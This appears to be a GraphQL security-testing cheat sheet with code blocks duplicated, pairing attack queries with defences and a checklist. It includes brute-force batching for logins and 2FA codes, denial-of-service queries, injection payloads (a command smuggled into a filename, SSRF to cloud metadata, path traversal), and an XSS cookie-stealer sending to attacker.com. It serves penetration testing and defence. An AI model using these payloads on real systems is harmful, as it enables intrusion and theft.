GraphQL Security Testing
GraphQL provides powerful query capabilities, but its flexibility introduces unique security challenges including schema exposure, batching abuse, and complex injection vectors.
Information
Introspection Queries
Introspection allows clients to query the GraphQL schema itself. If enabled in production, it exposes the entire API structure including hidden fields, mutations, and types.
# GraphQL Introspection Query
# Full introspection query to dump entire schema
{
__schema {
types {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
args {
name
type {
name
}
}
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}
# Simplified version for quick check
{
__schema {
queryType { name }
}
}
# Get all types with their fields
{
__schema {
types {
name
fields {
name
}
}
}
}
# Get a specific type's details
{
__type(name: "User") {
name
fields {
name
type {
name
}
}
}
}# GraphQL Introspection Query
# Full introspection query to dump entire schema
{
__schema {
types {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
args {
name
type {
name
}
}
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}
# Simplified version for quick check
{
__schema {
queryType { name }
}
}
# Get all types with their fields
{
__schema {
types {
name
fields {
name
}
}
}
}
# Get a specific type's details
{
__type(name: "User") {
name
fields {
name
type {
name
}
}
}
}Warning
GraphQL Reconnaissance Tools
# GraphQL Reconnaissance Tools
# InQL - Burp Extension for GraphQL Analysis
# https://github.com/doyensec/inql
# GraphQL Voyager - Schema Visualization
# Paste introspection result to visualize schema
# https://graphql-kit.com/graphql-voyager/
# graphw00f - GraphQL Server Fingerprinting
pip install graphw00f
graphw00f -d -t https://target.com/graphql
# Clairvoyance - Schema obtainment even without introspection
# https://github.com/nikitastupin/clairvoyance
python3 -m clairvoyance https://target.com/graphql -o schema.json
# GraphQL-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql
# graphql-path-enum - Find path from one type to another
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t User -f id# GraphQL Reconnaissance Tools
# InQL - Burp Extension for GraphQL Analysis
# https://github.com/doyensec/inql
# GraphQL Voyager - Schema Visualization
# Paste introspection result to visualize schema
# https://graphql-kit.com/graphql-voyager/
# graphw00f - GraphQL Server Fingerprinting
pip install graphw00f
graphw00f -d -t https://target.com/graphql
# Clairvoyance - Schema obtainment even without introspection
# https://github.com/nikitastupin/clairvoyance
python3 -m clairvoyance https://target.com/graphql -o schema.json
# GraphQL-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql
# graphql-path-enum - Find path from one type to another
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t User -f idBatching Attacks
GraphQL allows multiple queries in a single request. This can bypass rate limits designed for per-request throttling, enabling brute force attacks.
# GraphQL Batching Attacks
# Query Batching - Multiple operations in one request
# Useful for rate limit bypass, brute force, 2FA bypass
# Batch login attempts (bypasses per-request rate limits)
[
{
"query": "mutation { login(email: "user@test.com", password: "password1") { token } }"
},
{
"query": "mutation { login(email: "user@test.com", password: "password2") { token } }"
},
{
"query": "mutation { login(email: "user@test.com", password: "password3") { token } }"
}
]
# Alias-based Batching (same query, different aliases)
query {
attempt1: login(email: "user@test.com", password: "password1") { token }
attempt2: login(email: "user@test.com", password: "password2") { token }
attempt3: login(email: "user@test.com", password: "password3") { token }
attempt4: login(email: "user@test.com", password: "password4") { token }
attempt5: login(email: "user@test.com", password: "password5") { token }
}
# 2FA Bypass via Batching
query {
a: verify2FA(code: "000001") { success }
b: verify2FA(code: "000002") { success }
c: verify2FA(code: "000003") { success }
# ... up to 999999
}
# Mass Data Extraction
query {
user1: user(id: 1) { email password_hash }
user2: user(id: 2) { email password_hash }
user3: user(id: 3) { email password_hash }
# ... enumerate all users
}# GraphQL Batching Attacks
# Query Batching - Multiple operations in one request
# Useful for rate limit bypass, brute force, 2FA bypass
# Batch login attempts (bypasses per-request rate limits)
[
{
"query": "mutation { login(email: "user@test.com", password: "password1") { token } }"
},
{
"query": "mutation { login(email: "user@test.com", password: "password2") { token } }"
},
{
"query": "mutation { login(email: "user@test.com", password: "password3") { token } }"
}
]
# Alias-based Batching (same query, different aliases)
query {
attempt1: login(email: "user@test.com", password: "password1") { token }
attempt2: login(email: "user@test.com", password: "password2") { token }
attempt3: login(email: "user@test.com", password: "password3") { token }
attempt4: login(email: "user@test.com", password: "password4") { token }
attempt5: login(email: "user@test.com", password: "password5") { token }
}
# 2FA Bypass via Batching
query {
a: verify2FA(code: "000001") { success }
b: verify2FA(code: "000002") { success }
c: verify2FA(code: "000003") { success }
# ... up to 999999
}
# Mass Data Extraction
query {
user1: user(id: 1) { email password_hash }
user2: user(id: 2) { email password_hash }
user3: user(id: 3) { email password_hash }
# ... enumerate all users
}Batching Attack Use Cases
Rate Limit Bypass
Send thousands of login attempts in one request to bypass per-request rate limits.
2FA Brute Force
Try all possible 6-digit OTP codes (000000-999999) in batched requests.
Mass Enumeration
Extract data for thousands of user IDs in a single batched query.
Race Conditions
Execute multiple mutations atomically to trigger TOCTOU vulnerabilities.
Denial of Service Attacks
GraphQL's nested query structure can be abused to create exponentially complex queries that consume excessive server resources.
# GraphQL Denial of Service Attacks
# Deeply Nested Query (DoS via complexity)
query {
users {
friends {
friends {
friends {
friends {
friends {
friends {
name
email
}
}
}
}
}
}
}
}
# Circular Fragment (infinite recursion)
query {
user(id: 1) {
...UserFragment
}
}
fragment UserFragment on User {
friends {
...UserFragment
}
}
# Large Field Expansion
query {
allUsers(first: 10000) {
edges {
node {
posts(first: 10000) {
edges {
node {
comments(first: 10000) {
edges {
node {
content
author { name email }
}
}
}
}
}
}
}
}
}
}
# Field Duplication
query {
user(id: 1) {
name
name
name
# repeat thousands of times
}
}
# Resource Intensive Operations
query {
expensiveSearch(
query: "a",
sortBy: "relevance",
includeDeleted: true,
deepSearch: true
) {
results
}
}# GraphQL Denial of Service Attacks
# Deeply Nested Query (DoS via complexity)
query {
users {
friends {
friends {
friends {
friends {
friends {
friends {
name
email
}
}
}
}
}
}
}
}
# Circular Fragment (infinite recursion)
query {
user(id: 1) {
...UserFragment
}
}
fragment UserFragment on User {
friends {
...UserFragment
}
}
# Large Field Expansion
query {
allUsers(first: 10000) {
edges {
node {
posts(first: 10000) {
edges {
node {
comments(first: 10000) {
edges {
node {
content
author { name email }
}
}
}
}
}
}
}
}
}
}
# Field Duplication
query {
user(id: 1) {
name
name
name
# repeat thousands of times
}
}
# Resource Intensive Operations
query {
expensiveSearch(
query: "a",
sortBy: "relevance",
includeDeleted: true,
deepSearch: true
) {
results
}
}Injection Attacks
GraphQL arguments are passed to backend resolvers. If not properly validated, they can lead to SQL injection, NoSQL injection, SSRF, and other attacks.
# GraphQL Injection Attacks
# SQL Injection via GraphQL Arguments
query {
users(filter: "name = 'admin' OR 1=1 --") {
id
name
email
}
}
# NoSQL Injection
query {
user(id: "{\"$gt\":\"\"}") {
email
password_hash
}
}
# OS Command Injection
mutation {
generateReport(filename: "report.pdf; cat /etc/passwd") {
url
}
}
# SSRF via GraphQL
mutation {
importFromUrl(url: "http://169.254.169.254/latest/meta-data/") {
content
}
}
# Path Traversal
query {
getFile(path: "../../../etc/passwd") {
content
}
}
# XSS via GraphQL Mutation
mutation {
updateProfile(
bio: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>"
) {
success
}
}# GraphQL Injection Attacks
# SQL Injection via GraphQL Arguments
query {
users(filter: "name = 'admin' OR 1=1 --") {
id
name
email
}
}
# NoSQL Injection
query {
user(id: "{\"$gt\":\"\"}") {
email
password_hash
}
}
# OS Command Injection
mutation {
generateReport(filename: "report.pdf; cat /etc/passwd") {
url
}
}
# SSRF via GraphQL
mutation {
importFromUrl(url: "http://169.254.169.254/latest/meta-data/") {
content
}
}
# Path Traversal
query {
getFile(path: "../../../etc/passwd") {
content
}
}
# XSS via GraphQL Mutation
mutation {
updateProfile(
bio: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>"
) {
success
}
}Authorization Bypass
GraphQL APIs often have inconsistent authorization checks. Fields accessible through different query paths may have different protection levels.
# GraphQL Authorization Bypass
# IDOR via GraphQL
# If you can access your user:
query {
user(id: 123) { # Your ID
email
address
credit_cards { number }
}
}
# Try other user IDs:
query {
user(id: 124) { # Someone else's ID
email
address
credit_cards { number }
}
}
# Field-level Authorization Bypass
# If admin fields aren't properly protected:
query {
me {
name
email
isAdmin # Should be hidden
hashedPassword # Should be hidden
creditCards { # Should require additional auth
number
cvv
}
}
}
# Mutation Authorization
# Accessing admin mutations as regular user
mutation {
deleteUser(id: 1) {
success
}
}
mutation {
promoteToAdmin(userId: 123) {
success
}
}
# Accessing Internal/Debug Queries
query {
_debug { logs }
_internal { systemInfo }
_admin { allUsers { password_hash } }
}
# Subscription-based Data Leakage
subscription {
onNewUser {
id
email
password # Leaked on every new registration
}
}# GraphQL Authorization Bypass
# IDOR via GraphQL
# If you can access your user:
query {
user(id: 123) { # Your ID
email
address
credit_cards { number }
}
}
# Try other user IDs:
query {
user(id: 124) { # Someone else's ID
email
address
credit_cards { number }
}
}
# Field-level Authorization Bypass
# If admin fields aren't properly protected:
query {
me {
name
email
isAdmin # Should be hidden
hashedPassword # Should be hidden
creditCards { # Should require additional auth
number
cvv
}
}
}
# Mutation Authorization
# Accessing admin mutations as regular user
mutation {
deleteUser(id: 1) {
success
}
}
mutation {
promoteToAdmin(userId: 123) {
success
}
}
# Accessing Internal/Debug Queries
query {
_debug { logs }
_internal { systemInfo }
_admin { allUsers { password_hash } }
}
# Subscription-based Data Leakage
subscription {
onNewUser {
id
email
password # Leaked on every new registration
}
}Automated Testing Script
#!/usr/bin/env python3
"""GraphQL Security Testing Script"""
import requests
import json
import sys
class GraphQLTester:
def __init__(self, url, headers=None):
self.url = url
self.headers = headers or {'Content-Type': 'application/json'}
def query(self, query, variables=None):
"""Execute a GraphQL query"""
payload = {'query': query}
if variables:
payload['variables'] = variables
response = requests.post(
self.url,
json=payload,
headers=self.headers
)
return response.json()
def test_introspection(self):
"""Test if introspection is enabled"""
query = '''{ __schema { queryType { name } } }'''
result = self.query(query)
if 'data' in result and result['data'].get('__schema'):
print("[VULN] Introspection is ENABLED")
return True
else:
print("[SAFE] Introspection is disabled")
return False
def dump_schema(self):
"""Dump full schema if introspection enabled"""
query = '''
{
__schema {
types {
name
fields { name }
}
}
}
'''
return self.query(query)
def test_batching(self):
"""Test if query batching is allowed"""
batch = [
{'query': '{ __typename }'},
{'query': '{ __typename }'}
]
response = requests.post(
self.url,
json=batch,
headers=self.headers
)
try:
result = response.json()
if isinstance(result, list) and len(result) == 2:
print("[VULN] Query batching is ENABLED")
return True
except:
pass
print("[SAFE] Query batching appears disabled")
return False
def test_depth_limit(self, max_depth=20):
"""Test query depth limits"""
nested = "{ __typename }"
for i in range(max_depth):
nested = "{ users " + nested + " }"
result = self.query(nested)
if 'errors' in result:
print(f"[SAFE] Depth limit enforced at some level < {max_depth}")
else:
print(f"[VULN] No depth limit (tested {max_depth} levels)")
def test_field_suggestions(self):
"""Test if field suggestions leak schema info"""
query = '{ user { doesnotexist } }'
result = self.query(query)
if 'errors' in result:
error_msg = str(result['errors'])
if 'Did you mean' in error_msg:
print("[INFO] Field suggestions enabled (may leak schema)")
return True
print("[SAFE] No field suggestions")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <graphql-endpoint>")
sys.exit(1)
tester = GraphQLTester(sys.argv[1])
print("\n=== GraphQL Security Tests ===\n")
tester.test_introspection()
tester.test_batching()
tester.test_depth_limit()
tester.test_field_suggestions()#!/usr/bin/env python3
"""GraphQL Security Testing Script"""
import requests
import json
import sys
class GraphQLTester:
def __init__(self, url, headers=None):
self.url = url
self.headers = headers or {'Content-Type': 'application/json'}
def query(self, query, variables=None):
"""Execute a GraphQL query"""
payload = {'query': query}
if variables:
payload['variables'] = variables
response = requests.post(
self.url,
json=payload,
headers=self.headers
)
return response.json()
def test_introspection(self):
"""Test if introspection is enabled"""
query = '''{ __schema { queryType { name } } }'''
result = self.query(query)
if 'data' in result and result['data'].get('__schema'):
print("[VULN] Introspection is ENABLED")
return True
else:
print("[SAFE] Introspection is disabled")
return False
def dump_schema(self):
"""Dump full schema if introspection enabled"""
query = '''
{
__schema {
types {
name
fields { name }
}
}
}
'''
return self.query(query)
def test_batching(self):
"""Test if query batching is allowed"""
batch = [
{'query': '{ __typename }'},
{'query': '{ __typename }'}
]
response = requests.post(
self.url,
json=batch,
headers=self.headers
)
try:
result = response.json()
if isinstance(result, list) and len(result) == 2:
print("[VULN] Query batching is ENABLED")
return True
except:
pass
print("[SAFE] Query batching appears disabled")
return False
def test_depth_limit(self, max_depth=20):
"""Test query depth limits"""
nested = "{ __typename }"
for i in range(max_depth):
nested = "{ users " + nested + " }"
result = self.query(nested)
if 'errors' in result:
print(f"[SAFE] Depth limit enforced at some level < {max_depth}")
else:
print(f"[VULN] No depth limit (tested {max_depth} levels)")
def test_field_suggestions(self):
"""Test if field suggestions leak schema info"""
query = '{ user { doesnotexist } }'
result = self.query(query)
if 'errors' in result:
error_msg = str(result['errors'])
if 'Did you mean' in error_msg:
print("[INFO] Field suggestions enabled (may leak schema)")
return True
print("[SAFE] No field suggestions")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <graphql-endpoint>")
sys.exit(1)
tester = GraphQLTester(sys.argv[1])
print("\n=== GraphQL Security Tests ===\n")
tester.test_introspection()
tester.test_batching()
tester.test_depth_limit()
tester.test_field_suggestions()Security Best Practices
# GraphQL Security Best Practices
# 1. Disable Introspection in Production
# Apollo Server
const server = new ApolloServer({
introspection: process.env.NODE_ENV !== 'production',
});
# 2. Implement Query Depth Limiting
# graphql-depth-limit
import depthLimit from 'graphql-depth-limit';
const server = new ApolloServer({
validationRules: [depthLimit(10)],
});
# 3. Query Complexity/Cost Analysis
# graphql-query-complexity
import { createComplexityRule } from 'graphql-query-complexity';
const complexityRule = createComplexityRule({
maximumComplexity: 1000,
onComplete: (complexity) => {
console.log('Query Complexity:', complexity);
},
});
# 4. Rate Limiting (per-operation, not per-request)
# Count each operation in batch separately
# 5. Disable Query Batching if not needed
# Or limit batch size
# 6. Input Validation
# Sanitize all user inputs before using in resolvers
# 7. Authorization at Field Level
# Use @auth directives or resolver-level checks
const resolvers = {
User: {
email: (parent, args, context) => {
if (!context.user.isAdmin && context.user.id !== parent.id) {
throw new Error('Unauthorized');
}
return parent.email;
},
},
};
# 8. Disable Field Suggestions in Production
# Prevents schema enumeration# GraphQL Security Best Practices
# 1. Disable Introspection in Production
# Apollo Server
const server = new ApolloServer({
introspection: process.env.NODE_ENV !== 'production',
});
# 2. Implement Query Depth Limiting
# graphql-depth-limit
import depthLimit from 'graphql-depth-limit';
const server = new ApolloServer({
validationRules: [depthLimit(10)],
});
# 3. Query Complexity/Cost Analysis
# graphql-query-complexity
import { createComplexityRule } from 'graphql-query-complexity';
const complexityRule = createComplexityRule({
maximumComplexity: 1000,
onComplete: (complexity) => {
console.log('Query Complexity:', complexity);
},
});
# 4. Rate Limiting (per-operation, not per-request)
# Count each operation in batch separately
# 5. Disable Query Batching if not needed
# Or limit batch size
# 6. Input Validation
# Sanitize all user inputs before using in resolvers
# 7. Authorization at Field Level
# Use @auth directives or resolver-level checks
const resolvers = {
User: {
email: (parent, args, context) => {
if (!context.user.isAdmin && context.user.id !== parent.id) {
throw new Error('Unauthorized');
}
return parent.email;
},
},
};
# 8. Disable Field Suggestions in Production
# Prevents schema enumerationPractice Labs
DVGA
Damn Vulnerable GraphQL Application
PortSwigger GraphQL Labs
Interactive GraphQL security labs
InQL Burp Extension
GraphQL scanner for Burp Suite
GraphQL Best Practices
Official security recommendations
Testing Checklist
🔍 Reconnaissance
- ☐ Test introspection query
- ☐ Try field suggestions for schema leaks
- ☐ Run graphw00f fingerprinting
- ☐ Visualize schema with Voyager
- ☐ Identify sensitive fields/types
⚡ Batching/DoS
- ☐ Test array-based batching
- ☐ Test alias-based batching
- ☐ Check depth limits
- ☐ Test query complexity limits
- ☐ Try circular fragments
- ☐ Test directive abuse (@skip/@include)
- ☐ Test fragment injection for field leaking
- ☐ Test complexity cost bypass
💉 Injection
- ☐ SQL injection in arguments
- ☐ NoSQL injection
- ☐ SSRF in URL parameters
- ☐ OS command injection
- ☐ XSS in mutations
🔓 Authorization
- ☐ IDOR in query arguments
- ☐ Field-level authorization
- ☐ Mutation authorization
- ☐ Subscription data leakage
- ☐ Access hidden/internal queries
🔬 Advanced GraphQL Techniques
Directive Abuse
GraphQL directives (@skip, @include, @deprecated) can be abused for schema enumeration and query manipulation:
# Use @include/@skip to conditionally probe fields without errors
# This bypasses some field-level authorization checks
{
user(id: 1) {
username
email @include(if: true)
role @include(if: true) # May leak internal fields
password_hash @skip(if: false) # Try accessing restricted fields
__typename
}
}
# Enumerate deprecated fields (may still function but be unprotected)
{
__type(name: "User") {
fields(includeDeprecated: true) {
name
isDeprecated
deprecationReason
}
}
}
# Custom directive injection — some servers allow user-defined directives
{
user(id: 1) @cacheControl(maxAge: 0) {
secretField
}
}# Use @include/@skip to conditionally probe fields without errors
# This bypasses some field-level authorization checks
{
user(id: 1) {
username
email @include(if: true)
role @include(if: true) # May leak internal fields
password_hash @skip(if: false) # Try accessing restricted fields
__typename
}
}
# Enumerate deprecated fields (may still function but be unprotected)
{
__type(name: "User") {
fields(includeDeprecated: true) {
name
isDeprecated
deprecationReason
}
}
}
# Custom directive injection — some servers allow user-defined directives
{
user(id: 1) @cacheControl(maxAge: 0) {
secretField
}
}Fragment Injection for Field Leaking
Fragments can be used to access fields that might be restricted at the query level but allowed when accessed through type spreads:
# Fragment spreading to access fields across types
{
search(query: "admin") {
... on User {
id
email
role # Might be restricted on direct User query
apiKey # Internal fields exposed via search
}
... on AdminUser {
permissions # Union type may expose admin-only fields
lastLogin
}
}
}
# Inline fragment to bypass field-level access control
{
node(id: "base64-encoded-user-id") {
... on User {
email
ssn # Field accessible via Node interface but not User query
creditCard
}
}
}
# Fragment with type confusion — test polymorphic resolution
fragment UserFields on User {
id
email
}
fragment AdminFields on AdminUser {
id
email
secret_key
}
{
users { ...UserFields ...AdminFields }
}# Fragment spreading to access fields across types
{
search(query: "admin") {
... on User {
id
email
role # Might be restricted on direct User query
apiKey # Internal fields exposed via search
}
... on AdminUser {
permissions # Union type may expose admin-only fields
lastLogin
}
}
}
# Inline fragment to bypass field-level access control
{
node(id: "base64-encoded-user-id") {
... on User {
email
ssn # Field accessible via Node interface but not User query
creditCard
}
}
}
# Fragment with type confusion — test polymorphic resolution
fragment UserFields on User {
id
email
}
fragment AdminFields on AdminUser {
id
email
secret_key
}
{
users { ...UserFields ...AdminFields }
}Alias Abuse Beyond Brute Force
Aliases enable enumerating resources and fingerprinting data without triggering typical rate limits:
# Mass IDOR via aliases — enumerate users in a single request
{
u1: user(id: 1) { email role }
u2: user(id: 2) { email role }
u3: user(id: 3) { email role }
u100: user(id: 100) { email role }
}
# Fingerprint account existence via aliases
{
a1: resetPassword(email: "admin@company.com") { success message }
a2: resetPassword(email: "ceo@company.com") { success message }
a3: resetPassword(email: "dev@company.com") { success message }
}
# Bypass per-field rate limiting using aliases
{
attempt1: login(email: "admin@target.com", password: "password1") { token }
attempt2: login(email: "admin@target.com", password: "password2") { token }
attempt3: login(email: "admin@target.com", password: "password3") { token }
# All execute in a single HTTP request — bypasses request-based rate limits
}# Mass IDOR via aliases — enumerate users in a single request
{
u1: user(id: 1) { email role }
u2: user(id: 2) { email role }
u3: user(id: 3) { email role }
u100: user(id: 100) { email role }
}
# Fingerprint account existence via aliases
{
a1: resetPassword(email: "admin@company.com") { success message }
a2: resetPassword(email: "ceo@company.com") { success message }
a3: resetPassword(email: "dev@company.com") { success message }
}
# Bypass per-field rate limiting using aliases
{
attempt1: login(email: "admin@target.com", password: "password1") { token }
attempt2: login(email: "admin@target.com", password: "password2") { token }
attempt3: login(email: "admin@target.com", password: "password3") { token }
# All execute in a single HTTP request — bypasses request-based rate limits
}Complexity Cost Bypass
Many servers implement query complexity analysis. These techniques craft queries that pass cost limits while remaining expensive:
# Technique 1: Spread cost across multiple root fields
# Each root field has its own cost budget in some implementations
{
users(first: 100) { edges { node { posts { title } } } }
posts(first: 100) { edges { node { author { followers { name } } } } }
comments(first: 100) { edges { node { post { author { name } } } } }
}
# Technique 2: Exploit pagination to multiply data volume
{
users(first: 100, after: "cursor") {
edges {
node {
posts(first: 100) {
edges {
node {
comments(first: 100) { totalCount } # Low "cost" but high DB load
}
}
}
}
}
}
}
# Technique 3: Combine batching + nesting for amplified impact
# Array batch with nested deep queries
[
{"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"},
{"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"},
{"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"}
]
# 3 queries × 50 × 50 × 50 = 375,000 potential resolver calls# Technique 1: Spread cost across multiple root fields
# Each root field has its own cost budget in some implementations
{
users(first: 100) { edges { node { posts { title } } } }
posts(first: 100) { edges { node { author { followers { name } } } } }
comments(first: 100) { edges { node { post { author { name } } } } }
}
# Technique 2: Exploit pagination to multiply data volume
{
users(first: 100, after: "cursor") {
edges {
node {
posts(first: 100) {
edges {
node {
comments(first: 100) { totalCount } # Low "cost" but high DB load
}
}
}
}
}
}
}
# Technique 3: Combine batching + nesting for amplified impact
# Array batch with nested deep queries
[
{"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"},
{"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"},
{"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"}
]
# 3 queries × 50 × 50 × 50 = 375,000 potential resolver callsEvidence Collection
Introspection Dump: Save the full schema output from introspection queries including types, fields, mutations, and deprecated endpoints that reveal internal API surface.
Query Complexity Abuse: Demonstrate excessive resolver calls via deeply nested or batched queries — capture server response times, error messages, and resource consumption metrics.
Authorization Bypass: Document queries that access data across tenant/user boundaries — capture the query, response with unauthorized data, and the authenticated user context.
Injection via Arguments: Record GraphQL arguments used to inject SQL/NoSQL payloads through resolvers, including the mutation/query structure and backend error messages.
CVSS Range: 4.3 (information disclosure via introspection) – 9.8 (injection through resolvers leading to RCE or full data access)
False Positive Identification
- Introspection by Design: Some development/staging APIs intentionally expose introspection — verify the environment and whether production also exposes it.
- Depth Limits Active: If query depth limiting returns a structured error before resolver execution, the DoS vector is mitigated — test with increasingly nested queries to find the actual threshold.
- Gateway-Level Authorization: Data visible in introspection may be fully gated by authorization middleware — confirm by actually querying the fields, not just discovering them.
- Batching Disabled: Array-based batching returning errors doesn't mean aliased batching is also blocked — test both independently before ruling out DoS.